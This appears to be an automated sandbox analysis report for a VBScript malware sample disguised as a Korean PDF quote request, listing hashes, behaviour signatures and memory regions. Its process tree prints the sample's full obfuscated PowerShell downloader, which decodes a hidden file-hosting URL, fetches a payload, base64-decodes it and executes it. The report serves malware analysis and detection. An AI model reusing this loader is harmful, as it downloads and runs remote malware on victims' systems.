Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-11-2024 01:25

General

  • Target

    SK 견적요청_울산공장·pdf.vbs

  • Size

    86KB

  • MD5

    da79738f51b4a2f265c6817f2db04646

  • SHA1

    285cbcc5237b51baa7b93cc7cdae2ff4c08a4806

  • SHA256

    fcb85efd53de456d5f743a08f2585d7d54e1a891b7ef8cc768a4a85c9cd3d36d

  • SHA512

    aed649f3ae5f8ddf33918a3f8891b85aa1c723b52d04553fca3cf06792861f652dd1bc4b196427c224cbbc526c669d0286e1084a39bbb27bcbeaeee52bfe4667

  • SSDEEP

    1536:H70tD9v0kQmGd9pipuoNqCZJlnfsBovNFqq8kuX0NhMfYagy1VRXaAj27DsH4Dt:HQd9vhrU9k5mBov98iNhMfYapVRQDsH+

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SK 견적요청_울산공장·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kapitalkontos Lvhytte Modem Caracal aandsretningernes #><#nonterminative Painter Cardan Tunnelbane Uciviliseredes Nedslagtnings #>$Glattende='Straamndene';function Polyrhythm($Zygophyceous205){If ($host.DebuggerEnabled) {$Softwareudviklingens++;$Diversificerede=$Zygophyceous205.'Length' - $Softwareudviklingens} for ( $Incumbentess=4;$Incumbentess -lt $Diversificerede;$Incumbentess+=5){$Drunkometers=$Incumbentess;$Pederast+=$Zygophyceous205[$Incumbentess]}$Pederast}function Unmisunderstanding($polycentric){ .($Signs) ($polycentric)}$Jouster=Polyrhythm 'DonkNExhieB,bat De .H spWFyrrE xulb F ocWaggL rutiKalmeQu dnRapsTSupe ';$tiggerstavenes=Polyrhythm ' Re,M carosaraz reiGymslBakglRoebaintr/Knst ';$Symonds=Polyrhythm 'MensT.thelOrc sbldd1E se2Stje ';$Fangelejren=' Mil[PiannOverEEsqut t,a.Ru esFenneRundr llev BlgiEntaCHaaneS.rmPCac OBu kIMastnKu,ftIndtM R na,piln CarASnegg Dise Barrprot]Mask:Hv.d:samasD lse NiccSygeUGylpr UlaIUdv,t Irry UdbpKou rb inooutpT.bstO AutcantioLejelAhim=Comm$ ottsFejlyPrepmCounoCollNUt mdetagsMiss ';$tiggerstavenes+=Polyrhythm 'Out 5.rer.Sacr0 Til Fag( orkWSkokiTrmlnSracdVis oM lbwUdlbsLaby DameNPyreTkl.s U,hv1Staa0humm.Mes 0U.ba;Prog KlveW rii flonProt6Over4For ;U le Avisx Pru6H ra4Pir ;Delt UdskrAutovVarm: Imb1Unmo3 Pal1Wa.c.Ramm0U je)Be l CorrGLavaeforhcTj ik Ordo D t/ Haa2Dy d0ster1 .ab0Kli 0Kall1 S u0 orr1 R.d P rfFNdlaiS olrArbeePrisfReseoKlokxWatt/ Imp1Do.p3Ashi1Okse. ins0Dikt ';$Underkbelser=Polyrhythm ' MetUSvarSS ffEChurrProj-RostARejsGGenkebatoN ruttAr e ';$Sublimant=Polyrhythm 'Typeh tratMicht orhp H psBrok:Isva/ Hng/ imbdK narSimuiPunkv,fflePoma.AnvegSailoSpaloS.ikg allT.hae,eni.Tve,c aeroSigvm Fog/AileuSmercTra ? TvieStnkxAntip Garo etwr reltTro =Hid.dDi toFejlwGeodnangrlFakto ivoaSpledTidy&BidsiSarcdD.ce=Bonv1PraiUPartUSp,rADyo SStraZSjetJ RifSBnkesNo.t_UndeFdeno1 Dagd .orESireQRespEHois1 .arA sky8Rek -OldfH ,raw ylMHarpKHorn3 Ne,M Oph5AnimsKalkISekuSRoc.LNumb8Mo toPree ';$Defrocking=Polyrhythm 'Guls>Jenn ';$Signs=Polyrhythm ' ExpiSekue otrXTran ';$Anelises='Overgratified';$Restitels='\Indefeasibly149.Jin';Unmisunderstanding (Polyrhythm 'Tian$ uddgCan L ApooDagsb SneAPs cl Pac:Krftu ShedVentpBes O EryeRettNFremsT,nkESemidHjerEQuin=Uns $HormE V dnTamiVEks : BerAmalapPre P anud HovA.assTLaenaSla.+unr,$UnsiRH anEAs iSgerot DikiCamptMinaEHomol G nsSeri ');Unmisunderstanding (Polyrhythm '.urc$RemegOphnLS.tuOBiodB Fina Dovl,oro:B odbTooti Ad,BUn oLTranESe usAs e=Alba$LeatsR.geUBasibFishLSeksI PecM e pAHomonC rytArb .U,rksAtlapAlfel efaIAgelTUn e( iss$KrydDSa.geJujiF ranrakano.nksCKolokEnt IBr cNSpidgC ra) P n ');Unmisunderstanding (Polyrhythm $Fangelejren);$Sublimant=$Bibles[0];$pedetidae=(Polyrhythm 'Flat$Mokeg TrvlSik oEr,abTheiANontLCoup: N,cOEartvBem,E Ud r Ce aA trW eaN,obiiDaudNForvg jll= undNDetrE SkiwGre - In OUnadbPu cjHulhESkrecParaT H r .kjosCargYBridSarmaTNavnePresM.nsu.Supe$Bho,JMonooTranuC apsIndktGnide NdirCamp ');Unmisunderstanding ($pedetidae);Unmisunderstanding (Polyrhythm 'Stil$v.ncOUdmav Co esarcrK.dea romwdiscnMyeliIm enDi mg,nin.SjleH speeFisha.ford MedeAflirKards akt[Skis$Fri,U sq nGonadBroneLe erFlask HalbNonuePu ylLse s ProeTarorAlif]Sm a=Stor$SkertColpi EftgForsgDribeUnw r h ts aditAntoaeditvGlobeDitinridge FlesS ec ');$glaskabler=Polyrhythm 'Anma$TrngOViolv Dobe tilrWin aAmphwFortn Gali LaknVandgMisc.DeprDKag oUdskwPersnFlinlL.gioDrfya Aesd .nsFProgi GenlMareeRipp(Ou w$.kafSBaseuProcbJostlBiksi Intm .ona Fran kktP ei,Stra$.eltRFumleRorsb ilsRelelAcceaStjegCh re elerGlas)Udvi ';$Rebslager=$Udpoensede;Unmisunderstanding (Polyrhythm 'slag$ManiGUnbul repOstrab S lALy tLSoci:SkylfT ksoTrenR ,diTHestNLinyk aatEHetes pit=Heel(K,rrt,rkaeGulfsBuddTG no-A tepobs ABrastEroshForu Ligh$Rittr ReoeWokeBTakkSAgl l I waOrthgS bsETi tRdami)Clea ');while (!$Fortnkes) {Unmisunderstanding (Polyrhythm 'Forh$Refug T llDjvloFngsb delaAmaglInte:Smu,FFluaoAfm,dMonabUd,ro Disl B pd yspkEksil,nthuKendbBeskbTvr e rbenSundsK,mm=Hal $DismtfremrUn,uuFlaweFind ') ;Unmisunderstanding $glaskabler;Unmisunderstanding (Polyrhythm ' onosOpgrTPolyAUnenr HumTPlan-M.ndsCricl ma eMathe S ppCoke T,lr4Type ');Unmisunderstanding (Polyrhythm 'tae.$DiscgBistl Rifo H.nBBl aaUncllFer :Po,tFPs poGidsR VogtSkewn Re,KFavee tilSNeph=Bure( ismTEntaEMaddsYaguTSubt- AanPFestAou bTHypeHBd,f Pla$ ,icrOptrecharbM,loSP lylSirrANudigVitre astrK.ef) Rit ') ;Unmisunderstanding (Polyrhythm 'sper$HeleGBrilLAgiso F rbNonwAHa dL ffy:BrutP a or ffiEBe.eEHandxPaleP GenLTam.AConsIWarmNin,d=mela$ MacgGenbl impOSemebsl,ea Ci.LAlgo: S kU Un nmellSMa dASur c porr EgeaTittMVocaeVit.NMacrt E dAWidel The+Nysk+Sang%nata$IngebskttiKonfbR enL S keBrevS,mrr.Skr C StaO Tv U Li NSemitLe,t ') ;$Sublimant=$Bibles[$Preexplain]}$Monosulphonic=297180;$arthel=30156;Unmisunderstanding (Polyrhythm 'Perf$ TrigEastlDybgOSplaB UnkASu elBra.: limSHellE afbe ndrt Su.hPr nEHoej Unsk=Supe addegTermEAffitAdit-DresC Valo iolnHandtDekaEGunpNJarnT,our ,ata$Kosor magEfor Bp.rosPa iLHeptaSee GE,bee Te.rTatb ');Unmisunderstanding (Polyrhythm ' ver$.uffgHjrelSpyto ehrb,ensaZoe lFami:E,icE AntnPrordLavteSkydm flyaSnv,aD stl,utseLivsn B re lu vit=Davi Mu t[MiniSAfsky.orrsH,nhtSm.ae engmFlu . S,dCTophotryln tttvPosteTaofr DantDusc]Ski :Moto: C,nFVrkfrU seogl smTi.sBElekaO nisSun,eI,de6Arch4 V.rSJabetSubsrTauriHypenRecogSymb( Pro$A,hvSIntee arkeMag,tBunyh nameDrop)R gn ');Unmisunderstanding (Polyrhythm 'Tran$KhajgRsk.lSyndO Bo BKroga udil ,er:ChevPSubeRTankiCabumDiskU Lo lL.njaVo fLObe,eSpirSReji Mund= Spi Irel[.onoSDrukY Unhs PettDeceE ubm Kul.In,eTAp.sETrusX albtSang.Po,tEDslpnInskC StoODiskDMiliID.shNFe.igButt]Pand:Usan:F.dtaGamlS Ca.cNo riDaviIforj.StnkGAltdegroit,orbS damtforsrHel IMultnFourg pyr(Suba$Kra eazosnVognD PhieHeatMDuodASkn a Pr l KomeHo eNGa aEFj n) alg ');Unmisunderstanding (Polyrhythm ' He $Tungg Af,lunheOSkmtBRkkeaTroclCamp:ScoffChokaSchiNAffeTRha aCyprs InviSu.tSIngeTA co= Alu$TallP Calr malII,gnm KuluS volT,ndAPr mLTyngEAparSBoob.CantSSammuFor,b Tr sPs cT.tatR nnei KornDeligL,dd(.dhi$Cablmsonio Gs.N B.ro,rshs SwiUKrydl SmlpDi oHTaveo orvNAgasiA.alc Dia,koda$ bakADemaRraabT Le H armeSlbelkatt) prg ');Unmisunderstanding $Fantasist;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Network Service Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabC3DD.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/3016-20-0x000007FEF5AAE000-0x000007FEF5AAF000-memory.dmp

    Filesize

    4KB

  • memory/3016-23-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-22-0x0000000002960000-0x0000000002968000-memory.dmp

    Filesize

    32KB

  • memory/3016-21-0x000000001B640000-0x000000001B922000-memory.dmp

    Filesize

    2.9MB

  • memory/3016-24-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-26-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-25-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-27-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-28-0x000007FEF5AAE000-0x000007FEF5AAF000-memory.dmp

    Filesize

    4KB

  • memory/3016-29-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-30-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-31-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-32-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/3016-33-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB